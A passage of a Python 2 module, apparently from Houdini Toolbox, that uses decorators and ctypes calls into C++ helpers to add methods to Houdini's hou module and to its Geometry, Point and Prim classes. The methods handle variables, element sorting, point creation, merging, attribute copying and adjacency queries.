extend.\n\n\"\"\"\n\n# =============================================================================\n# IMPORTS\n# =============================================================================\n\n# Python Imports\nimport ast\nimport ctypes\nimport math\nimport types\n\n# Houdini Toolbox Imports\nfrom ht.inline.lib import cpp_methods as _cpp_methods\n\n# Houdini Imports\nimport hou\n\n# =============================================================================\n# GLOBALS\n# =============================================================================\n\n# Tuple of all valid attribute data types.\n_ALL_ATTRIB_DATA_TYPES = (\n hou.attribData.Float,\n hou.attribData.Int,\n hou.attribData.String\n)\n\n# Tuple of all valid attribute types.\n_ALL_ATTRIB_TYPES = (\n hou.attribType.Global,\n hou.attribType.Point,\n hou.attribType.Prim,\n hou.attribType.Vertex,\n)\n\n# Mapping between hou.attribData and corresponding GA_StorageClass values.\n_ATTRIB_STORAGE_MAP = {\n hou.attribData.Int: 0,\n hou.attribData.Float: 1,\n hou.attribData.String: 2,\n}\n\n# Mapping between hou.attribTypes and corresponding GA_AttributeOwner values.\n_ATTRIB_TYPE_MAP = {\n hou.attribType.Vertex: 0,\n hou.attribType.Point: 1,\n hou.attribType.Prim: 2,\n hou.attribType.Global: 3,\n}\n\n# Mapping between geometry types and corresponding GA_AttributeOwner values.\n_GEOMETRY_ATTRIB_MAP = {\n hou.Vertex: 0,\n hou.Point: 1,\n hou.Prim: 2,\n hou.Geometry: 3\n}\n\n# Mapping between hou.geometryTypes and corresponding GA_AttributeOwner values.\n_GEOMETRY_TYPE_MAP = {\n hou.geometryType.Vertices: 0,\n hou.geometryType.Points: 1,\n hou.geometryType.Primitives: 2\n}\n\n# Mapping between group types and corresponding GA_AttributeOwner values.\n_GROUP_ATTRIB_MAP = {\n hou.PointGroup: 1,\n hou.PrimGroup: 2,\n}\n\n# Mapping between group types and corresponding GA_GroupType values.\n_GROUP_TYPE_MAP = {\n hou.PointGroup: 0,\n hou.PrimGroup: 1,\n hou.EdgeGroup: 2,\n}\n\n\n# =============================================================================\n# NON-PUBLIC FUNCTIONS\n# =============================================================================\n\ndef _build_c_double_array(values):\n \"\"\"Convert a list of numbers to a ctypes double array.\n\n :param values: A list of floats.\n :type values: list(float)\n :return: The values as ctypes compatible values.\n :rtype: list(ctypes.c_double)\n\n \"\"\"\n arr = (ctypes.c_double * len(values))()\n arr[:] = values\n\n return arr\n\n\ndef _build_c_int_array(values):\n \"\"\"Convert a list of numbers to a ctypes int array.\n\n :param values: A list of ints.\n :type values: list(int)\n :return: The values as ctypes compatible values.\n :rtype: list(ctypes.c_int)\n\n \"\"\"\n arr = (ctypes.c_int * len(values))()\n arr[:] = values\n\n return arr\n\n\ndef _build_c_string_array(values):\n \"\"\"Convert a list of strings to a ctypes char * array.\n\n :param values: A list of strings.\n :type values: list(str)\n :return: The values as ctypes compatible values.\n :rtype: list(ctypes.c_char_p)\n\n \"\"\"\n arr = (ctypes.c_char_p * len(values))()\n arr[:] = values\n\n return arr\n\n\ndef _clean_string_values(values):\n \"\"\"Process a string list, removing empty strings.\n\n :param values: A list of strings to clean.\n :type values: list(str)\n :return: A clean tuple.\n :rtype: tuple(str)\n\n \"\"\"\n return tuple([val for val in values if val])\n\n\ndef _find_attrib(geometry, attrib_type, name):\n \"\"\"Find an attribute with a given name and type on the geometry.\n\n :param geometry: The geometry to find an attribute on.\n :type geometry: hou.Geometry\n :param attrib_type: The attribute type.\n :type attrib_type: hou.attribType.\n :param name: The attribute name.\n :type name: str\n :return: A found attribute, otherwise None.\n :rtype: hou.Attrib|None\n\n \"\"\"\n if attrib_type == hou.attribType.Vertex:\n return geometry.findVertexAttrib(name)\n\n elif attrib_type == hou.attribType.Point:\n return geometry.findPointAttrib(name)\n\n elif attrib_type == hou.attribType.Prim:\n return geometry.findPrimAttrib(name)\n\n else:\n return geometry.findGlobalAttrib(name)\n\n\ndef _find_group(geometry, group_type, name):\n \"\"\"Find a group with a given name and type.\n\n group_type corresponds to the integer returned by _get_group_type()\n\n :param geometry: The geometry to find the group in.\n :type geometry: hou.Geometry\n :param group_type: The group type.\n :type group_type: int\n :param name: The attribute name.\n :type name: str\n :return: A found group.\n :rtype: hou.EdgeGroup|hou.PointGroup|hou.PrimGroup\n\n \"\"\"\n if group_type == 0:\n return geometry.findPointGroup(name)\n\n elif group_type == 1:\n return geometry.findPrimGroup(name)\n\n elif group_type == 2:\n return geometry.findEdgeGroup(name)\n\n else:\n raise hou.OperationFailed(\n \"Invalid group type {}\".format(group_type)\n )\n\n\ndef _get_attrib_storage(data_type):\n \"\"\"Get an HDK compatible attribute storage class value.\n\n :param data_type: The type of data to store.\n :type data_type: hou.attribData\n :return: An HDK attribute storage type.\n :rtype: int\n\n \"\"\"\n return _ATTRIB_STORAGE_MAP[data_type]\n\n\ndef _get_attrib_owner(attribute_type):\n \"\"\"Get an HDK compatible attribute owner value.\n\n :param attribute_type: The type of attribute.\n :type attribute_type: hou.attribType\n :return: An HDK attribute owner value.\n :rtype: int\n\n \"\"\"\n return _ATTRIB_TYPE_MAP[attribute_type]\n\n\ndef _get_attrib_owner_from_geometry_entity_type(entity_type):\n \"\"\"Get an HDK compatible attribute owner value from a geometry class.\n\n The type can be of hou.Geometry, hou.Point, hou.Prim (or subclasses) or hou.Vertex.\n\n :param entity_type: The entity to get a attribute owner for.\n :type entity_type: hou.Vertex|hou.Point|hou.Prim|hou.Geometry\n :return: An HDK attribute owner value.\n :rtype: int\n\n \"\"\"\n # If the class is a base class in the map then just return it.\n if entity_type in _GEOMETRY_ATTRIB_MAP:\n return _GEOMETRY_ATTRIB_MAP[entity_type]\n\n # If it is not in the map then it is most likely a subclass of hou.Prim,\n # such as hou.Polygon, hou.Face, hou.Volume, etc. We will check the class\n # against being a subclass of any of our valid types and if it is, return\n # the owner of that class.\n for key, value in _GEOMETRY_ATTRIB_MAP.iteritems():\n if issubclass(entity_type, key):\n return value\n\n # Something went wrong so raise an exception.\n raise TypeError(\"Invalid entity type: {}\".format(entity_type))\n\n\ndef _get_attrib_owner_from_geometry_type(geometry_type):\n \"\"\"Get an HDK compatible attribute owner value from a hou.geometryType.\n\n :param geometry_type: The entity to get a attribute owner for.\n :type geometry_type: hou.geometryType\n :return: An HDK attribute owner value.\n :rtype: int\n\n \"\"\"\n # If the class is a base class in the map then just return it.\n if geometry_type in _GEOMETRY_TYPE_MAP:\n return _GEOMETRY_TYPE_MAP[geometry_type]\n\n # Something went wrong so raise an exception.\n raise TypeError(\"Invalid geometry type: {}\".format(geometry_type))\n\n\ndef _get_group_attrib_owner(group):\n \"\"\"Get an HDK compatible group attribute type value.\n\n :param group: The group to get the attribute owner for.\n :type group: hou.PointGroup|hou.PrimGroup\n :return: An HDK attribute owner value.\n :rtype: int\n\n \"\"\"\n try:\n return _GROUP_ATTRIB_MAP[type(group)]\n\n except KeyError:\n raise hou.OperationFailed(\"Invalid group type\")\n\n\ndef _get_group_type(group):\n \"\"\"Get an HDK compatible group type value.\n\n :param group: The group to get the group type for.\n :type group: hou.EdgeGroup|hou.PointGroup|hou.PrimGroup\n :return: An HDK group type value.\n :rtype: int\n\n \"\"\"\n try:\n return _GROUP_TYPE_MAP[type(group)]\n\n except KeyError:\n raise hou.OperationFailed(\"Invalid group type\")\n\n\ndef _get_nodes_from_paths(paths):\n \"\"\"Convert a list of string paths to hou.Node objects.\n\n :param paths: A list of paths.\n :type paths: list(str)\n :return: A tuple of hou.Node objects.\n :rtype: tuple(hou.Node)\n\n \"\"\"\n return tuple([hou.node(path) for path in paths if path])\n\n\ndef _get_points_from_list(geometry, point_list):\n \"\"\"Convert a list of point numbers to hou.Point objects.\n\n :param geometry: The geometry to get points for.\n :type geometry: hou.Geometry\n :param point_list: A list of point numbers.\n :type point_list: list(int)\n :return: Matching points on the geometry.\n :rtype: tuple(hou.Point)\n\n \"\"\"\n # Return a empty tuple if the point list is empty.\n if not point_list:\n return ()\n\n # Convert the list of integers to a space separated string.\n point_str = ' '.join([str(i) for i in point_list])\n\n # Glob for the specified points.\n return geometry.globPoints(point_str)\n\n\ndef _get_prims_from_list(geometry, prim_list):\n \"\"\"Convert a list of primitive numbers to hou.Prim objects.\n\n :param geometry: The geometry to get prims for.\n :type geometry: hou.Geometry\n :param prim_list: A list of prim numbers.\n :type prim_list: list(int)\n :return: Matching prims on the geometry.\n :rtype: tuple(hou.Prim)\n\n \"\"\"\n # Return a empty tuple if the prim list is empty.\n if not prim_list:\n return ()\n\n # Convert the list of integers to a space separated string.\n prim_str = ' '.join([str(i) for i in prim_list])\n\n # Glob for the specified prims.\n return geometry.globPrims(prim_str)\n\n\ndef _validate_prim_vertex_index(prim, index):\n \"\"\"Validate that a vertex index is valid for a primitive.\n\n If an index is not valid a IndexError will be raised.\n\n :param prim: The primitive to validate the index for.\n :type prim: hou.Prim\n :param index: The vertex index.\n :type index: int\n :return:\n\n \"\"\"\n # If the index is less than 0, throw an exception since it's not valid.\n if index < 0:\n raise IndexError(\"Index must be 0 or greater.\")\n\n # If the index is too high it is also invalid.\n if index >= prim.numVertices():\n raise IndexError(\"Invalid index: {}\".format(index))\n\n# =============================================================================\n# FUNCTIONS\n# =============================================================================\n\ndef add_to_class(*args, **kwargs):\n \"\"\"This function decorator adds the function to specified classes,\n optionally specifying a different function name.\n\n *args:\n One of more HOM classes to extend.\n\n **kwargs:\n name: Set a specific name for the unbound method.\n\n \"\"\"\n def decorator(func):\n # Iterate over each class passed in.\n for target_class in args:\n # Check if we tried to set the method name. If so, use the\n # specified value.\n if \"name\" in kwargs:\n func_name = kwargs[\"name\"]\n # If not, use the original name.\n else:\n func_name = func.__name__\n\n # Create a new unbound method.\n method = types.MethodType(func, None, target_class)\n\n # Attach the method to the class.\n setattr(target_class, func_name, method)\n\n # We don't really care about modifying the function so just return\n # it.\n return func\n\n return decorator\n\n\ndef add_to_module(module):\n \"\"\"This function decorator adds the function to a specified module.\"\"\"\n\n def decorator(func):\n # Simply add the function to the module object.\n setattr(module, func.__name__, func)\n return func\n\n return decorator\n\n# =============================================================================\n\n@add_to_module(hou)\ndef isRendering():\n \"\"\"Check if Houdini is rendering or not.\"\"\"\n return _cpp_methods.isRendering()\n\n\n@add_to_module(hou)\ndef getGlobalVariableNames(dirty=False):\n \"\"\"Get a tuple of all global variable names.\n\n If dirty is True, return only 'dirty' variables. A dirty variable is a\n variable that has been created or modified but not updated throughout the\n session by something like the 'varchange' hscript command.\n\n :param dirty: Whether or not to return only dirty variables.\n :type dirty: bool\n :return: A tuple of global variable names.\n :rtype: tuple(str)\n\n \"\"\"\n # Get all the valid variable names.\n var_names = _cpp_methods.getGlobalVariables(dirty)\n\n # Remove any empty names.\n return _clean_string_values(var_names)\n\n\n@add_to_module(hou)\ndef getVariable(name):\n \"\"\"Returns the value of the named variable.\n\n :param name: The variable name.\n :type name: str\n :return: The value of the variable if it exists, otherwise None\n :rtype: str|None\n\n \"\"\"\n # If the variable name isn't in list of variables, return None.\n if name not in getVariableNames():\n return None\n\n # Get the value of the variable.\n value = _cpp_methods.getVariable(name)\n\n # Try to convert it to the proper Python type.\n # Since Houdini stores all variable values as strings we use the ast module\n # to handle parsing the string and returning the proper data type.\n try:\n return ast.literal_eval(value)\n\n # Except against common parsing/evaluating errors and return the raw\n # value since the type will be a string.\n except SyntaxError:\n return value\n\n except ValueError:\n return value\n\n\n@add_to_module(hou)\ndef getVariableNames(dirty=False):\n \"\"\"Get a tuple of all available variable names.\n\n If dirty is True, return only 'dirty' variables. A dirty variable is a\n variable that has been created or modified but not updated throughout the\n session by something like the 'varchange' hscript command.\n\n :param dirty: Whether or not to return only dirty variables.\n :type dirty: bool\n :return: A tuple of variable names.\n :rtype: tuple(str)\n\n \"\"\"\n # Get all the valid variable names.\n var_names = _cpp_methods.getVariableNames(dirty)\n\n # Remove any empty names.\n return _clean_string_values(var_names)\n\n\n@add_to_module(hou)\ndef setVariable(name, value, local=False):\n \"\"\"Set a variable.\n\n :param name: The variable name.\n :type name: str\n :param value: The variable value.\n :type value: type\n :param local: Whether or not to set the variable as local.\n :type local: bool\n :return:\n\n \"\"\"\n _cpp_methods.setVariable(name, str(value), local)\n\n\n@add_to_module(hou)\ndef unsetVariable(name):\n \"\"\"Unset a variable.\n\n This function will do nothing if no such variable exists.\n\n :param name: The variable name.\n :type name: str\n :return:\n\n \"\"\"\n _cpp_methods.unsetVariable(name)\n\n\n@add_to_module(hou)\ndef varChange():\n \"\"\"Cook any operators using changed variables.\n\n When a variable's value changes, the OPs which reference that variable are\n not automatically cooked. Use this function to cook all OPs when a variable\n they use changes.\n\n :return:\n\n \"\"\"\n _cpp_methods.varChange()\n\n\n@add_to_module(hou)\ndef expandRange(pattern):\n \"\"\"Expand a string range into a tuple of values.\n\n This function will do string range expansion. Examples include '0-15',\n '0 4 10-100', '1-100:2', etc. See Houdini's documentation about geometry\n groups for more information. Wildcards are not supported.\n\n :param pattern: The pattern to expand:\n :type pattern: str\n :return: A tuple of expanded values.\n :rtype: tuple(int)\n\n \"\"\"\n return tuple(_cpp_methods.expandRange(pattern))\n\n\n@add_to_class(hou.Geometry)\ndef isReadOnly(self):\n \"\"\"Check if the geometry is read only.\n\n :return: Whether or not this geometry is read only.\n :rtype: bool\n\n \"\"\"\n # Get a GU Detail Handle for the geometry.\n handle = self._guDetailHandle()\n\n # Check if the handle is read only.\n result = handle.isReadOnly()\n\n # Destroy the handle.\n handle.destroy()\n\n return result\n\n\n@add_to_class(hou.Geometry)\ndef numPoints(self):\n \"\"\"Get the number of points in the geometry.\n\n This should be quicker than len(hou.Geometry.iterPoints()) since it uses\n the 'pointcount' intrinsic value from the detail.\n\n :return: The point count:\n :rtype: int\n\n \"\"\"\n return self.intrinsicValue(\"pointcount\")\n\n\n@add_to_class(hou.Geometry)\ndef numPrims(self):\n \"\"\"Get the number of primitives in the geometry.\n\n This should be quicker than len(hou.Geometry.iterPrims()) since it uses\n the 'primitivecount' intrinsic value from the detail.\n\n :return: The primitive count:\n :rtype: int\n\n \"\"\"\n return self.intrinsicValue(\"primitivecount\")\n\n\n@add_to_class(hou.Geometry)\ndef numVertices(self):\n \"\"\"Get the number of vertices in the geometry.\n\n :return: The vertex count:\n :rtype: int\n\n \"\"\"\n return self.intrinsicValue(\"vertexcount\")\n\n\n@add_to_class(hou.Geometry)\ndef packGeometry(self, source):\n \"\"\"Pack the source geometry into a PackedGeometry prim in this geometry.\n\n This function works by packing the supplied geometry into the current\n detail, returning the new PackedGeometry primitive.\n\n Both hou.Geometry objects must not be read only.\n\n :param source: The source geometry.\n :type source: hou.Geomety\n :return: The packed geometry primitive.\n :rtype: hou.PackedGeometry\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n # Make sure the source geometry is not read only.\n if source.isReadOnly():\n raise hou.GeometryPermissionError()\n\n _cpp_methods.packGeometry(source, self)\n\n return self.iterPrims()[-1]\n\n\n@add_to_class(hou.Geometry)\ndef sortByAttribute(self, attribute, tuple_index=0, reverse=False):\n \"\"\"Sort points, primitives or vertices based on attribute values.\n\n :param attribute: The attribute to sort by.\n :type attribute: hou.Attrib\n :param tuple_index: The tuple index to sort by when using attributes of size > 1.\n :type tuple_index: int\n :param reverse: Whether or not to reverse the sort.\n :type reverse: bool\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n # Verify the tuple index is valid.\n if tuple_index not in range(attribute.size()):\n raise IndexError(\"Invalid tuple index: {}\".format(tuple_index))\n\n attrib_type = attribute.type()\n attrib_name = attribute.name()\n\n if attrib_type == hou.attribType.Global:\n raise hou.OperationFailed(\n \"Attribute type must be point, primitive or vertex.\"\n )\n\n # Get the corresponding attribute type id.\n attrib_owner = _get_attrib_owner(attrib_type)\n\n _cpp_methods.sortByAttribute(\n self,\n attrib_owner,\n attrib_name,\n tuple_index,\n reverse\n )\n\n\n@add_to_class(hou.Geometry)\ndef sortAlongAxis(self, geometry_type, axis):\n \"\"\"Sort points or primitives based on increasing positions along an axis.\n\n The axis to sort along: (X=0, Y=1, Z=2)\n\n :param geometry_type: The type of geometry to sort.\n :type geometry_type: hou.geometryType\n :param axis: The axis to sort along.\n :type axis: int\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n # Verify the axis.\n if axis not in range(3):\n raise ValueError(\"Invalid axis: {}\".format(axis))\n\n if geometry_type in (hou.geometryType.Points, hou.geometryType.Primitives):\n attrib_owner = _get_attrib_owner_from_geometry_type(geometry_type)\n\n _cpp_methods.sortAlongAxis(self, attrib_owner, axis)\n\n else:\n raise hou.OperationFailed(\n \"Geometry type must be points or primitives.\"\n )\n\n\n@add_to_class(hou.Geometry)\ndef sortByValues(self, geometry_type, values):\n \"\"\"Sort points or primitives based on a list of corresponding values.\n\n The list of values must be the same length as the number of geometry\n elements to be sourced.\n\n :param geometry_type: The type of geometry to sort.\n :type geometry_type: hou.geometryType\n :param values: The values to sort by.\n :type values: list(float)\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if geometry_type == hou.geometryType.Points:\n # Check we have enough points.\n if len(values) != self.numPoints:\n raise hou.OperationFailed(\n \"Length of values must equal the number of points.\"\n )\n\n # Construct a ctypes double array to pass the values.\n arr = _build_c_double_array(values)\n\n _cpp_methods.sortByValues(self, 0, arr)\n\n elif geometry_type == hou.geometryType.Primitives:\n # Check we have enough primitives.\n if len(values) != self.numPrims:\n raise hou.OperationFailed(\n \"Length of values must equal the number of prims.\"\n )\n\n else:\n raise hou.OperationFailed(\n \"Geometry type must be points or primitives.\"\n )\n\n attrib_owner = _get_attrib_owner_from_geometry_type(geometry_type)\n\n # Construct a ctypes double array to pass the values.\n arr = _build_c_double_array(values)\n\n _cpp_methods.sortByValues(self, attrib_owner, arr)\n\n\n@add_to_class(hou.Geometry)\ndef sortRandomly(self, geometry_type, seed=0.0):\n \"\"\"Sort points or primitives randomly.\n\n :param geometry_type: The type of geometry to sort.\n :type geometry_type: hou.geometryType\n :param seed: The random seed.\n :type seed: float\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if not isinstance(seed, (float, int)):\n raise TypeError(\n \"Got '{}', expected 'float'.\".format(type(seed).__name__)\n )\n\n if geometry_type in (hou.geometryType.Points, hou.geometryType.Primitives):\n attrib_owner = _get_attrib_owner_from_geometry_type(geometry_type)\n _cpp_methods.sortListRandomly(self, attrib_owner, seed)\n\n else:\n raise hou.OperationFailed(\n \"Geometry type must be points or primitives.\"\n )\n\n\n@add_to_class(hou.Geometry)\ndef shiftElements(self, geometry_type, offset):\n \"\"\"Shift all point or primitives indices forward by an offset.\n\n Each point or primitive number gets the offset added to it to get its new\n number. If this exceeds the number of points or primitives, it wraps\n around.\n\n :param geometry_type: The type of geometry to sort.\n :type geometry_type: hou.geometryType\n :param offset: The shift offset.\n :type offset: int\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if not isinstance(offset, int):\n raise TypeError(\n \"Got '{}', expected 'int'.\".format(type(offset).__name__)\n )\n\n if geometry_type in (hou.geometryType.Points, hou.geometryType.Primitives):\n attrib_owner = _get_attrib_owner_from_geometry_type(geometry_type)\n _cpp_methods.shiftList(self, attrib_owner, offset)\n\n else:\n raise hou.OperationFailed(\n \"Geometry type must be points or primitives.\"\n )\n\n\n@add_to_class(hou.Geometry)\ndef reverseSort(self, geometry_type):\n \"\"\"Reverse the ordering of the points or primitives.\n\n The highest numbered becomes the lowest numbered, and vice versa.\n\n :param geometry_type: The type of geometry to sort.\n :type geometry_type: hou.geometryType\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if geometry_type in (hou.geometryType.Points, hou.geometryType.Primitives):\n attrib_owner = _get_attrib_owner_from_geometry_type(geometry_type)\n _cpp_methods.reverseList(self, attrib_owner)\n\n else:\n raise hou.OperationFailed(\n \"Geometry type must be points or primitives.\"\n )\n\n\n@add_to_class(hou.Geometry)\ndef sortByProximityToPosition(self, geometry_type, pos):\n \"\"\"Sort elements by their proximity to a point.\n\n The distance to the point in space is used as a priority. The points or\n primitives are then sorted so that the 0th entity is the one closest to\n that point.\n\n :param geometry_type: The type of geometry to sort.\n :type geometry_type: hou.geometryType\n :param pos: The position to sort relatives to.\n :type pos: hou.Vector3\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if geometry_type in (hou.geometryType.Points, hou.geometryType.Primitives):\n attrib_owner = _get_attrib_owner_from_geometry_type(geometry_type)\n _cpp_methods.proximityToList(self, attrib_owner, pos)\n\n else:\n raise hou.OperationFailed(\n \"Geometry type must be points or primitives.\"\n )\n\n\n@add_to_class(hou.Geometry)\ndef sortByVertexOrder(self):\n \"\"\"Sorts points to match the order of the vertices on the primitives.\n\n If you have a curve whose point numbers do not increase along the curve,\n this will reorder the point numbers so they match the curve direction.\n\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n _cpp_methods.sortByVertexOrder(self)\n\n\n@add_to_class(hou.Geometry)\ndef sortByExpression(self, geometry_type, expression):\n \"\"\"Sort points or primitives based on an expression for each element.\n\n The specified expression is evaluated for each point or primitive. This\n determines the priority of that primitive, and the entities are reordered\n according to that priority. The point or primitive with the least evaluated\n expression value will be numbered 0 after the sort.\n\n :param geometry_type: The type of geometry to sort.\n :type geometry_type: hou.geometryType\n :param expression: The expression to sort by.\n :type expression: str\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n values = []\n\n # Get the current cooking SOP node. We need to do this as the geometry is\n # frozen and has no reference to the SOP node it belongs to.\n sop_node = hou.pwd()\n\n if geometry_type == hou.geometryType.Points:\n # Iterate over each point.\n for point in self.points():\n # Get this point to be the current point. This allows '$PT' to\n # work properly in the expression.\n sop_node.setCurPoint(point)\n\n # Add the evaluated expression value to the list.\n values.append(hou.hscriptExpression(expression))\n\n elif geometry_type == hou.geometryType.Primitives:\n # Iterate over each primitive.\n for prim in self.prims():\n # Get this point to be the current point. This allows '$PR' to\n # work properly in the expression.\n sop_node.setCurPrim(prim)\n\n # Add the evaluated expression value to the list.\n values.append(hou.hscriptExpression(expression))\n\n else:\n raise hou.OperationFailed(\n \"Geometry type must be points or primitives.\"\n )\n\n sortByValues(self, geometry_type, values)\n\n\n@add_to_class(hou.Geometry)\ndef createPointAtPosition(self, position):\n \"\"\"Create a new point located at a position.\n\n :param position: The point position.\n :type position: hou.Vector3\n :return: The new point.\n :rtype: hou.Point\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n result = _cpp_methods.createPointAtPosition(self, position)\n\n return self.iterPoints()[result]\n\n\n@add_to_class(hou.Geometry)\ndef createNPoints(self, npoints):\n \"\"\"Create a specific number of new points.\n\n :param npoints: The number of points to create.\n :type npoints: int\n :return: The newly created points.\n :rtype: tuple(hou.Point)\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if npoints <= 0:\n raise hou.OperationFailed(\"Invalid number of points.\")\n\n result = _cpp_methods.createNPoints(self, npoints)\n\n # Since the result is only the starting point number we need to\n # build a starting from that.\n point_nums = range(result, result+npoints)\n\n return _get_points_from_list(self, point_nums)\n\n\n@add_to_class(hou.Geometry)\ndef mergePointGroup(self, group):\n \"\"\"Merges points from a group into this detail.\n\n :param group: The group to merge.\n :type group: hou.PointGroup\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if not isinstance(group, hou.PointGroup):\n raise hou.TypeError(\"Group is not a point group.\")\n\n _cpp_methods.mergePointGroup(self, group.geometry(), group.name())\n\n\n@add_to_class(hou.Geometry)\ndef mergePoints(self, points):\n \"\"\"Merge a list of points from a detail into this detail.\n\n :param points: A list of points to merge.\n :type points: list(hou.Point)\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n arr = _build_c_int_array([point.number() for point in points])\n\n _cpp_methods.mergePoints(self, points[0].geometry(), arr, len(arr))\n\n\n@add_to_class(hou.Geometry)\ndef mergePrimGroup(self, group):\n \"\"\"Merges prims from a group into this detail.\n\n :param group: The group to merge.\n :type group: hou.PrimGroup\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if not isinstance(group, hou.PrimGroup):\n raise hou.TypeError(\"Group is not a primitive group.\")\n\n _cpp_methods.mergePrimGroup(self, group.geometry(), group.name())\n\n\n@add_to_class(hou.Geometry)\ndef mergePrims(self, prims):\n \"\"\"Merges a list of prims from a detail into this detail.\n\n :param prims: A list of points to merge.\n :type prims: list(hou.Prim)\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n arr = _build_c_int_array([prim.number() for prim in prims])\n\n _cpp_methods.mergePrims(self, prims[0].geometry(), arr, len(arr))\n\n\ndef copyAttributeValues(source_element, source_attribs, target_element):\n \"\"\"Copy a list of attributes from the source element to the target element.\n\n :param source_element: The element to copy from.\n :type source_element: hou.Point|hou.Prim|hou.Vertex|hou.Geometry\n :param source_attribs: A list of attributes to copy.\n :type source_attribs: list(hou.Attrib)\n :param target_element: The element to copy to.\n :type target_element: hou.Point|hou.Prim|hou.Vertex|hou.Geometry\n :return:\n\n \"\"\"\n # Copying to a geometry entity.\n if not isinstance(target_element, hou.Geometry):\n # Get the source element's geometry.\n target_geometry = target_element.geometry()\n\n # Entity number is generally just the number().\n target_entity_num = target_element.number()\n\n # If we're copying to a vertex then we need to get the offset.\n if isinstance(target_element, hou.Vertex):\n target_entity_num = target_element.linearNumber()\n\n # hou.Geometry means copying to detail attributes.\n else:\n target_geometry = target_element\n target_entity_num = 0\n\n # Make sure the target geometry is not read only.\n if target_geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n # Copying from a geometry entity.\n if not isinstance(source_element, hou.Geometry):\n # Get the source point's geometry.\n source_geometry = source_element.geometry()\n source_entity_num = source_element.number()\n\n if isinstance(source_element, hou.Vertex):\n source_entity_num = source_element.linearNumber()\n\n # Copying from detail attributes.\n else:\n source_geometry = source_element\n source_entity_num = 0\n\n # Get the attribute owners from the elements.\n target_owner = _get_attrib_owner_from_geometry_entity_type(type(target_element))\n source_owner = _get_attrib_owner_from_geometry_entity_type(type(source_element))\n\n # Get the attribute names, ensuring we only use attributes on the\n # source's geometry.\n attrib_names = [\n attrib.name() for attrib in source_attribs\n if _get_attrib_owner(attrib.type()) == source_owner and\n attrib.geometry().sopNode() == source_geometry.sopNode()\n ]\n\n # Construct a ctypes string array to pass the strings.\n arr = _build_c_string_array(attrib_names)\n\n _cpp_methods.copyAttributeValues(\n target_geometry,\n target_owner,\n target_entity_num,\n source_geometry,\n source_owner,\n source_entity_num,\n arr,\n len(attrib_names)\n )\n\n\n@add_to_class(hou.Point, name=\"copyAttribValues\")\ndef copyPointAttributeValues(self, source_point, attributes):\n \"\"\"Copy attribute values from the source point to this point.\n\n If the attributes do not exist on the destination detail they will be\n created.\n\n This function is deprecated. Use copyAttributeValues instead.\n\n :param source_point: The point to copy from.\n :type source_point: hou.Point\n :param attributes: A list of attributes to copy.\n :type attributes: list(hou.Attrib)\n :return:\n\n \"\"\"\n copyAttributeValues(source_point, attributes, self)\n\n\n@add_to_class(hou.Prim, name=\"copyAttribValues\")\ndef copyPrimAttributeValues(self, source_prim, attributes):\n \"\"\"Copy attribute values from the source primitive to this primitive.\n\n If the attributes do not exist on the destination primitive they will be\n created.\n\n This function is deprecated. Use copyAttributeValues instead.\n\n :param source_prim: The primitive to copy from.\n :type source_prim: hou.Prim\n :param attributes: A list of attributes to copy.\n :type attributes: list(hou.Attrib)\n :return:\n\n \"\"\"\n copyAttributeValues(source_prim, attributes, self)\n\n\n@add_to_class(hou.Prim)\ndef pointAdjacentPolygons(self):\n \"\"\"Get all prims that are adjacent to this prim through a point.\n\n :return: Adjacent primitives.\n :rtype: tuple(hou.Prim)\n\n \"\"\"\n # Get the geometry this primitive belongs to.\n geometry = self.geometry()\n\n # Get a list of prim numbers that are point adjacent this prim.\n result = _cpp_methods.pointAdjacentPolygons(geometry, self.number())\n\n return _get_prims_from_list(geometry, result)\n\n\n@add_to_class(hou.Prim)\ndef edgeAdjacentPolygons(self):\n \"\"\"Get all prims that are adjacent to this prim through an edge.\n\n :return: Adjacent primitives.\n :rtype: tuple(hou.Prim)\n\n \"\"\"\n # Get the geometry this primitive belongs to.\n geometry = self.geometry()\n\n # Get a list of prim numbers that are edge adjacent this prim.\n result = _cpp_methods.edgeAdjacentPolygons(geometry, self.number())\n\n return _get_prims_from_list(geometry, result)\n\n\n@add_to_class(hou.Point)\ndef connectedPrims(self):\n \"\"\"Get all primitives that reference this point.\n\n :return: Connected primitives.\n :rtype: tuple(hou.Prim)\n\n \"\"\"\n # Get the geometry the point belongs to.\n geometry = self.geometry()\n\n # Get a list of primitive numbers that reference the point.\n result = _cpp_methods.connectedPrims(geometry, self.number())\n\n return _get_prims_from_list(geometry, result)\n\n\n@add_to_class(hou.Point)\ndef connectedPoints(self):\n \"\"\"Get all points that share an edge with this point.\n\n :return: Connected points\n :rtype: tuple(hou.Point)\n\n \"\"\"\n # Get the geometry the point belongs to.\n geometry = self.geometry()\n\n # Get a list of point numbers that are connected to the 